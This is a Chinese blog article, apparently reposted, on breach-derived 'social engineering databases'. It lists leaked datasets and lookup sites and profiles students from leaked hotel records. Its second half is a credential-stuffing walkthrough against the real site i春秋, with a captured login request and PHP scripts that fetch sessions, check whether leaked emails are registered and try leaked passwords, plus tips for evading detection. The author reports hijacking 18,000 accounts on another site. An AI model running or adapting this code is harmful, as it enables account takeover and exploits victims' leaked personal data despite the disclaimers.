社工库杂谈

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了社工库杂谈相关的知识,希望对你有一定的参考价值。

“社工库”这个词很多人并不陌生,而且也有越来越多的新闻开始提及社工库,比如:
1. 2016年3月,江苏淮安公安机关网络安全保卫部门成功侦破一起侵犯公民个人信息案,抓获犯罪嫌疑人8名,捣毁国内最大的网络社工库“K8社工库”(www.k8sec.com),查获公民个人信息20亿条。
2. 2016年12月,南都记者700元就买到同事行踪,包括乘机、开房、上网吧等11项记录,很多数据源自社工库。

社工库这个产业链一直很火爆,不过国家也在打击,搜索“社工库”,你会发现它是个敏感词。

声明:请勿使用社工库从事非法事情,本篇文章仅提供学习讨论。

技术分享 



在谈社工库之前,我们先说说什么是社工(即社会工程学),有几个社会工程学的概念需要了解:
1. 社会工程学攻击都建立在使人决断产生认知偏差的基础上,熟练的社会工程师都是擅长进行信息收集的身体力行者。
2. 社会工程学是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段。
3. 社会工程学是一种黑客攻击方法,利用欺骗等手段骗取对方信任,获取机密情报。
4. 社会工程学是一种利用人性脆弱点、贪婪等等的心理表现进行攻击,是防不胜防的。

社会工程学本来是一门学问,但是因为所做的事情大都是不好的,所以这个词慢慢变成了贬义词,甚至被认为“违背了人性的道德”。

i春秋有一篇帖子在讨论社会工程学:

你如何看待黑客的社会工程学?

我认为,高尚了说,社工是一门艺术,操纵人的艺术。如果说“违背了人性的道德”,那么很多家长哄骗小孩,利诱小孩,未尝不是一种“操纵人心”。社工无罪,问题在于攻击本身,如果是爱国、为了保护国家利益而使用社工进行攻击,社工肯定会被认为“高大上”。

在网络安全攻防研究中,我比较喜欢社会工程学、也比较敬畏社会工程学,相比于其他的常见攻击(比如sql注入),社会工程学有着其自身迷人之处:

1. 情感
平时我们接触的更多的是基于理性的攻击,而社会工程学,我觉得起到的作用是感性攻击,。前者,黑客更偏重于智商和逻辑,后者更偏重于情商和阅历。最直接的例子,暗恋一个妹子,如何拿下她?不论怎么攻击,社工应该是必不可少的,情商越高,发挥社工的威力越大。

2. 效率
和基于技术相比,社工在一些情况下,可以带来更犀利的攻击。比如,拿着常见密码暴力破解一个人的账号;可能速度不如搜集一下他的基本信息,破解来的更快。企业设计了多层安全防护,保护核心数据,需要一层层攻破;那么很可能装作一个受了委屈的用户来欺骗客服来获取权限,这种方式更有效。

3. 可能性
人是复杂的,机器是01。攻击一台服务器,结果=攻击者的技能+服务器的弱点,结果早就注定。而社会工程学可以带来无限可能,今天成功,不代表明天也成功;攻击张三能成功,不代表攻击李四也能成功。就连攻击者本人,也是不确定性的,攻击者本身的状态,都可能会影响社工的成功与否。与服务器攻击相比,社工的不确定性,我觉得更具有艺术感。

  • 社工库



社工库,是社会工程学中所用到的数据库。

上面提到了,社会工程学的一个维度就是信息搜集,比如指定一个手机号,就能获取到这个手机号背后的主人信息,包括姓名、邮箱、身份证、籍贯、社交账号等等信息,这些信息就是社工库。

这些信息数据,少则几百万,多则上亿,主要来源是各大公司的安全漏洞,导致数据被黑客窃取。社工库是从2011年开始,呈现了爆发式增长,归其原因,这一年有大量的用户数据泄露。这是我得到的信息,2011年就有上亿数据泄露:
2011.03-多玩游戏网-800万-txt.rar
2011.03-织梦CMS官网数据库-34万-sql.zip
2011.04-766游戏网-12万-sql.rar
2011.04-IS语音-969万-txt.zip
2011.04-亚马逊中国买家信息-20万.zip
2011.04-凡客诚品买家信息-20万-Excel.zip
2011.04-当当网买家信息-101万-Excel.zip
2011.04-爱拍游戏网-1100万-txt.zip
2011.04-猴岛游戏社区-2683万-txt.rar
2011.05-上海市银行大额客户-21万-xls.rar
2011.05-木蚂蚁-13万-sql.zip
2011.07-土木在线-540万-sql.zip
2011.10-178游戏网-1000万-txt.rar
2011.10-CSDN.NET-600万-sql.rar
2011.10-嘟嘟牛-66277-txt.rar
2011.11-7k7k小游戏-2000万-txt.rar
2011.11-人人网-500万-txt.rar
2011.12-天涯社区-4000万-txt.rar
2011.12-淘宝买家卖家邮箱-2500万-txt.zip

社工库的价值在于查询,如果拥有再多数据,而不能很好的查询,那么很难发挥其价值。所以市面上有很多做社工库查询的网站。之前出现了很多在线社工库查询网站,但由于“种种原因”,大部分都被关闭了。现在能够访问,大部分都需要FQ使用,这里举几个例子:
https://qun.findmima.com/   ---社工库更新较及时,涵盖账号、qq等多个维度
https://haveibeenpwned.com/  ---国外知名社工库查询网站
http://s.70sec.com/           ---收录数据超过300亿

技术分享 

  • 社工库价值



一说到社工库、信息泄露,大家都会比较头疼,比如千万级酒店开房数据泄露,导致了一些家庭矛盾、甚至离婚。

某个大型社工库网站进行过PV的调查,有个有趣的数据,仅供参考,不做任何结论:
1. 宝强离婚案期间,社工库搜索量是平时的5倍之多。
2. 过年前后,社工库搜索量是每年最少的时候。
3. 国家的一些固定会议期间,网站遭受攻击的次数会明显居多。

社工库的查询信息,是大家最常见的使用方式,所以很多黑产做了收费的查询系统。除了信息查询,其实社工库还可以被用来做其它有价值的事情,比如对于一些被曝出的社工库,我们可以做数据分析。我们可以做很多有价值、有趣的事情。

对于千万级别开房数据,很多都记录了地址,经过采样分析很多大学生开房,登记的地址都是自己的学校名字:
上海市邯郸路220号复旦大学跃进楼
上海市邯郸路220号复旦大学生命科学学院
上海市武川路78弄(复旦大学北区学生公寓)
上海市邯郸路220号复旦大学物理楼

技术分享 

我们可以对地址进行分词,找到各个大学的数据,并进行统计。会发现,上海同济大学的学生开房比复旦大学的学生要多,而同济嘉定校区又比四平路校区多。嘉定校区是郊区,而四平路处于繁华市区,通过数据,可以这样认为,市区的学生生活更丰富,而郊区的学生更寂寞。和同济大学相比,复旦监管可能更严厉一些。作为老板,在同济投资一个平价宾馆,也许是一个不错的选择。等等。。。有趣吧~

主要python工具:
pandas:数据收集,分析/清洗,内存处理,千万级以内的数据。 
matploylib,seaborn:用作可视化分析。 
bokeh:地图,热力图,处理大数据量。

再比如,每年都会有权威机构对常见密码进行统计,国外最大约炮网站国家分布图,等等,这些也都是从社工库调研而来的。甚至有人调侃,“社工库推进了基于社会的大数据分析”。

对于社工库的数据分析,有一点需要注意,就是学会清洗数据,比如星座分布这种一般就不靠谱,因为大部分网站如果用户不填写数据,默认都是1月1日,如果盲目统计,你会发现摩羯座占比最多。

  • 危害之最——撞库



对于企业而言,社工库最大的危害就是撞库,没有之一。撞库,顾名思义,就是黑客通过社工库的已知账号和密码,去模拟登陆其他企业网站,最终得到了一批可以登录这些网站的数据。

对于账号安全,很多公司都是非常敏感的,比如网易数据泄露的新闻刚一出来,网易公关就马上到处发表声明说网易很安全,数据泄露和网易没关系,而是黑客从这些年的其它各大公司数据泄露中提取了所有网易邮箱账号,结尾又再次声明网易多么重视用户安全。

各大公司,当发生账号数据泄露的时候,都是尽可能极度撇清关系,再说两个事。

一个是2014年底,12306网站十几万用户数据泄露,我当时特别测试了下,大部分账号都可以登录。按照道理说,这些账号一旦泄露,应该第一时间冻结这些账号,以免遭到攻击者攻击。而12306却不是,不但没有保护这些受害用户,反倒是第一时间证明自己没有漏洞,这些数据来自其他网站的漏洞,而用户在12306使用了和其它有漏洞网站相同的账号和密码。这就是所谓的“撞库”。

第二个事情,是去年百度网盘有大量用户投诉,自己的网盘资料被莫名删光,并塞满了日本动作片,疑似数据泄露。同样的问题,厂商处理问题同样的套路————用户们,这和我们百度没关系,这是黑客通过撞库入侵了你们的账号。你们自己的账号密码,曾经在第三方平台泄露过,被攻击的用户们,你们改密码吧,你们密码不安全。

某个企业数据库泄露,企业的所有账号密码被窃取,也就是一手数据(比如京东12G数据就是一手数据),有几个点需要注意:
1. 对于黑产而言非常重要,这里包含了大量的用户的账户和密码。
2. 由于很多用户不同网站设置了相同密码,这些一手数据,几乎可以登录用户注册过的各类网站。
3. 企业对于自己的数据泄露,需要承担全部责任。

再来看所谓的二手数据,什么是二手数据呢?黑客窃取到某个大型企业的一手数据,用这些数据去模拟登陆网站B,将登陆成功的数据进行汇总,得到一批B网站的账号密码,这些数据就是二手数据。不要小看二手数据,因为这些数据是可以操作B网站用户的,比如百度网盘数据泄露、12306数据泄露,都属于二手数据。那么二手数据也有几个特点:
1. 是一手数据的一个子集,往往数据规模较小,几十万到几百万不等。
2. 危害性同一手数据一样大,对用户造成严重安全问题。
3. 企业一般不愿意承担责任,认为是用户自己的问题。

按照目前数据泄露,企业攻击来看,每年都有大量的二手数据攻击,以及贩卖用户信息和网站资产。

用户在某个网站注册了账号,结果这个网站上的数据被黑客窃取了,或者篡改了,然后网站告知用户“网站很安全”,但是结果是用户被攻击了。那么对于用户而言,他的损失谁来承担?从过去的一些案例来看,这类攻击全部由用户自己承担。那么问题来了,用户稀里糊涂的被攻击被损失,还要自己承担责任,我们都知道谁做错谁承担,用户做错了什么?
1. 谁叫用户把每个网站设置成同一个密码。
2. 用户不应该用自己被公开泄露的密码。

以上回答,便是一些厂商的态度,这些厂商根本就不负责任。
1. 作为用户而言,根本不知道自己的账号密码已经被泄露,也没有渠道获取自己的账号密码被泄露。
2. 一手数据一旦公布,企业、国家都拼了命的删帖、删新闻、关闭泄露源,根本不给用户知情权。

综上所述,我认为,无论一手数据、还是二手数据,都应该由企业自己承担相应的责任,企业有义务保证所有用户的账号数据安全

我自己做测试,通过社工库数据,对某国外社交网站进行撞库,测试结果如下:
100万数据,邮箱和对应密码
约2.8万邮箱,为该网站注册用户
其中1.8万,撞库成功

也就是说,用100万社工数据,轻松获取社交网站1.8万的真实用户的账号和密码,危害非常大。得到这些账号以后,我可以做营销、做推广、发垃圾新闻,等等。

还有一个点,不知道大家注意到没有,2.8万注册中,有1.8万撞库成功,也就是说有64%用户在该网站使用了和社工库相同的密码。换句话说,超过一半用户,会在多个网站使用相同密码。毕竟,让一个用户在不同网站用不同密码,用户很难记住那么多密码的。

在这个过程中,目标网站并不存在系统漏洞,但是黑客却可以轻松窃取大量用户账号,可想而知,对企业的危害程度有多大。

  • 社工库攻击演示



这里以i春秋为例子,我们做一个测试攻击,来给大家演示如何撞库。整个过程非常简单,核心点就是抓包。

技术分享 

i春秋的登陆curl:

curl https://user.ichunqiu.com/login/signin

-H ‘Host: user.ichunqiu.com‘
-H ‘User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0‘
-H ‘Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8‘
-H ‘Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3‘
-H ‘Accept-Encoding: gzip, deflate, br‘
-H ‘Cookie: __jsluid=976fa33f9dadc6a6cdcfcf4fedac6a2e; pgv_pvi=5174663168; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_9104989ce242a8e03049eaceca950328=1487724876,1487819978,1488156372,1489480870; Hm_lvt_1a32f7c660491887db0960e9c314b022=1487752132,1488156372,1488761264,1489366264; browse=CFlaTxUYU0xdWBtPX0hTV1tTWUJDQVpYWVRIRFlLWURTUF5XVRhTQF5UWkBVAlNEUFlKR15AXlhZUEVFV1FYRVNRWk9eREtOFA; Hm_lpvt_1a32f7c660491887db0960e9c314b022=1489563769; pgv_si=s1121205248; Hm_lpvt_9104989ce242a8e03049eaceca950328=1489563769; ci_session=8cde5cded8fd1e220ac3d58eb4efb4ae33a45c12‘
-H ‘Connection: keep-alive‘
-H ‘Upgrade-Insecure-Requests: 1‘
-H ‘Content-Type: application/x-www-form-urlencoded‘
--data ‘username=name%40mail.com&password=111111&yzm=‘


最后的data就是post的传参,包括账号和密码。经过测试,发现i春秋做了特殊处理,如果只改data的账号和密码,就算传递的是正确账号密码,也不会登陆成功。经过排查,最终确认,i春秋的登陆,除了账号和密码,还和ci_session有关系,而其它的内容都可以删除,最后简化成:

[Bash shell] 纯文本查看 复制代码
1
2
3
-H ‘Cookie: ci_session=8cde5cded8fd1e220ac3d58eb4efb4ae33a45c12‘
--data ‘username=name%40mail.com&password=111111&yzm=‘



再次测试发现,相同ci_session,登陆不同的账号,无法成功,也就是说一个ci_session只能用来登陆一个账号。那么如何构造一个有效的session呢?很简单,模拟访问一次登陆的网页即可。最终模拟登陆的代码如下:

[php] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
function get_session()
{
        $ch = curl_init();
        curl_setopt($ch,CURLOPT_URL, ‘https://user.ichunqiu.com/login/signin);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_NOBODY, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0‘);
        curl_setopt($ch, CURLOPT_COOKIE, ‘__jsluid=976fa33f9dadc6a6cdcfcf4fedac6a2e; pgv_pvi=5174663168; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_9104989ce242a8e03049eaceca950328=1487724876,1487819978,1488156372,1489480870; Hm_lvt_1a32f7c660491887db0960e9c314b022=1487752132,1488156372,1488761264,1489366264; uid=NcjxQpwhMpDiEc3hKujnFqoieuTE0NWtj; browse=CFlaTxUYU0xdWBtPX0hTV1tTWUJDQVpYWVRIRFlLWURTUF5XVRhTQF5UWkBVAlNEUFlKR15AXlhZUEVFV1FYRVNRWk9eREtOFA; Hm_lpvt_1a32f7c660491887db0960e9c314b022=1489482188; pgv_si=s1121205248; ci_session=1ec3b928692283db3052ee77534c38f735b739ca; Hm_lpvt_9104989ce242a8e03049eaceca950328=1489482188‘);
        $output = curl_exec($ch);
        if(false == $output)
        {
                echo ‘session error‘;
                return false;
        }
        preg_match(‘/ci_session=(.*?);/‘, $output, $match);
        if(!$match[1])
        {
                echo ‘session error‘;
                return false;
        }
        return $match[1];
}
 
function login($account, $password)
{
        $session = get_session();
        if(!$session)
        {
                return false;
        }
        $data = http_build_query(array(‘username‘ => $account, ‘password‘ => $password, ‘yzm‘ => ‘‘));
        $ch = curl_init();
        curl_setopt($ch,CURLOPT_URL, https://user.ichunqiu.com/login/signin);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_NOBODY, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0‘);
        curl_setopt($ch, CURLOPT_COOKIE, "ci_session=$session;");
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        $output = curl_exec($ch);
        if(strpos($output, ‘302 Found‘))
        {
                return true;
        }
        else if(strpos($output, ‘200 OK‘))
        {
                return false;
        }
        else
        {
                echo ‘login error‘;
                return false;
        }
}
#login($account, ‘your password‘);



使用已知社工库,进行测试,流程通的!可以登录i春秋的账号数据,非常少,这不难理解,毕竟ichunqiu受众用户就非常少,如图,密码我打了马赛克。可以登陆的账号,打印了醒目的ok!!!!!

技术分享 

  • 优化攻击提升效率



刚才说到了,利用社工库攻击i春秋,需要发送两次请求,一次是渲染登陆页面获取session,一次是带着session和社工库账号登陆。

这两个请求非常慢!!!平均2秒到3秒才能爆破一个账号,就算写多线程,也是很低效的。

如何优化?

很多企业除了提供登陆,为了用户体验,往往还提供了一个重要接口:检查账号是否为已注册账号。在社工库攻击中,这个接口有着重要的地位,因为:
1. 检查账号接口,由于不需要匹配密码,去除了加密及对比流程,接口速度非常快。
平均攻击速度,从秒级变成毫秒级。
2. 此接口,可以帮助我们筛选出哪些是注册账号,哪些是非注册账号。
100万的社工库,快速筛选出符合爆破的几万社工库。
3. 我们只对注册账号进行模拟登陆,最大限度的减少了密码爆破的次数。
一般,企业会对登陆做安全风控,而减少登陆的频次,可以绕过企业安全检测。

i春秋的账号检测,在这里:
技术分享 

检测代码如下:

[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
<?php
function check($account)
{
        $ch = curl_init();
        curl_setopt($ch,CURLOPT_URL, https://user.ichunqiu.com/registerCtl/chkmail);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_NOBODY, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $data = http_build_query(array(‘email‘ => $account));
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        $output = curl_exec($ch);
        if(‘false‘ == $output)
        {
                return false;
        }
        return true;
}
#check([email protected]);



优化后的流程是:
1. 检测账号是否为注册账号。
2. 访问登陆页面,获取session。
3. 带着session,账号,密码,模拟登陆i春秋。
4. 记录登陆成功的社工库。

怎么样,社工库利用非常简单吧。

声明:为了保护i春秋,避免造成安全风险。仅尝试了5个以内的邮箱爆破成功,其他爆破均采用假账号,并没有获取任何实质数据。

另外,还有哪些途径增加攻击的效率和成功的概率呢?这里不做深入展开,给两个思路:
1. 用csdn的社工库,爆破i春秋,比用天涯社区的社工库爆破,成功率更高。csdn和i春秋,交集更大,道理很简单么!
2. i春秋的qq群,就是很好的qq社工库筛选条件,你懂得。

以i春秋的燕国群为例子,群里有1340多人。

技术分享 

经过测试,其中472个qq邮箱,为i春秋的注册账号。
技术分享 

这些账号中,共存在*(敏感词)个账号可以被破解:
1. 30+个账号,使用了对应的社工库密码
2. 10+个账号,使用top10弱密码。
3. 10+个账号,使用了ichunqiu、chunqiu等关键词作为密码。
4. 5+个账号,使用了qq号码、qq名字作为密码。

上面的信息,你,信么?

信不信无所谓,别等到退潮的时候,才知道自己在裸泳。

总之:
1. 社工是一门艺术,我们不要无脑的使用社工库。
2. 加强自己的账号、密码安全意识,减少被社的概率。




























































































































































































































以上是关于社工库杂谈的主要内容,如果未能解决你的问题,请参考以下文章

如何抵御社工库类的黑客攻击?在明文密码已泄露的情况下保护自己?

社工找出幕后诈骗的黑手技巧篇

C语言杂谈存储类别

杂谈 TaglibELOGNL

[杂谈]了解一些额外知识,让前端开发锦上添花

Chrome-Devtools代码片段中的多个JS库